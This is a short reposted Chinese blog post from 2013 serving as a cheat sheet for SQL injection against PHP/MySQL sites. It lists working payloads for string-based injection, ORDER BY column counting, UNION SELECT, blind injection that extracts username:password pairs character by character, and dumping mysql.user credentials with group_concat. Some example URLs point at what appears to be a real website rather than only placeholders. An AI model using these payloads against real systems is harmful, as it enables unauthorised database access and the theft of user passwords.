[轉]字符形注入

字符形注入:
先加引号报错
后检测http://www.hacker.com/abc.php?text=abc' and '1'='1
前面先闭合 后面1 没有闭合是因为程序本身有闭合

后检测
http://www.hacker.com/abc.php?text=abc' order by 1--
http://www.hacker.com/abc.php?text=abc' order by 111111111--
仔细检查是否正常和出错

联合查询union
http://www.hacker.com/abc.php?text=abc' and 1=2 union select 1,2,3--


=====================
盲注
查看MYSQL的版本是不是5.x
http://www.animate.tv/pv/details.php?id=1317881635%20and%20substring(@@version,1,1)=5

当联合查询不工作的时候我们使用subselect(子查询)代替
http://www.site.com/news.php?id=5 and (select 1)=1

是否有权限读mysql.user表
http://www.animate.tv/pv/details.php?id=1317881635%20and%20(select%201%20from%20mysql.user%20limit%200,1)=1

猜表名和列名
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

猜内容
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
也就是猜测用户名第一个字符的ascii码值是否是大于大写字母P的ascii值(具体可以参考ASCII对照表)。
如果显示正常则表示第一个字母的ascii值大于80
从80开始持续递增,直到请求出错

爆不出内容时候试试这种形式
http://www.test.com/sql.php?id=-2 union select 1,unhex(hex(user())),3 from admin

=============================
技巧

必须5.0以上MYSQL,还得有权限才能行
group_concat(user,0x3a,password,0x3a,file_priv,host,0x3c62723e) from mysql.user--

因为我对一些技巧也不是很熟也没有沉淀下来就先写到这里吧!
都是一些基本的。

posted @ 2013-05-04 00:44  jeremyatchina  阅读(184)  评论(0编辑  收藏  举报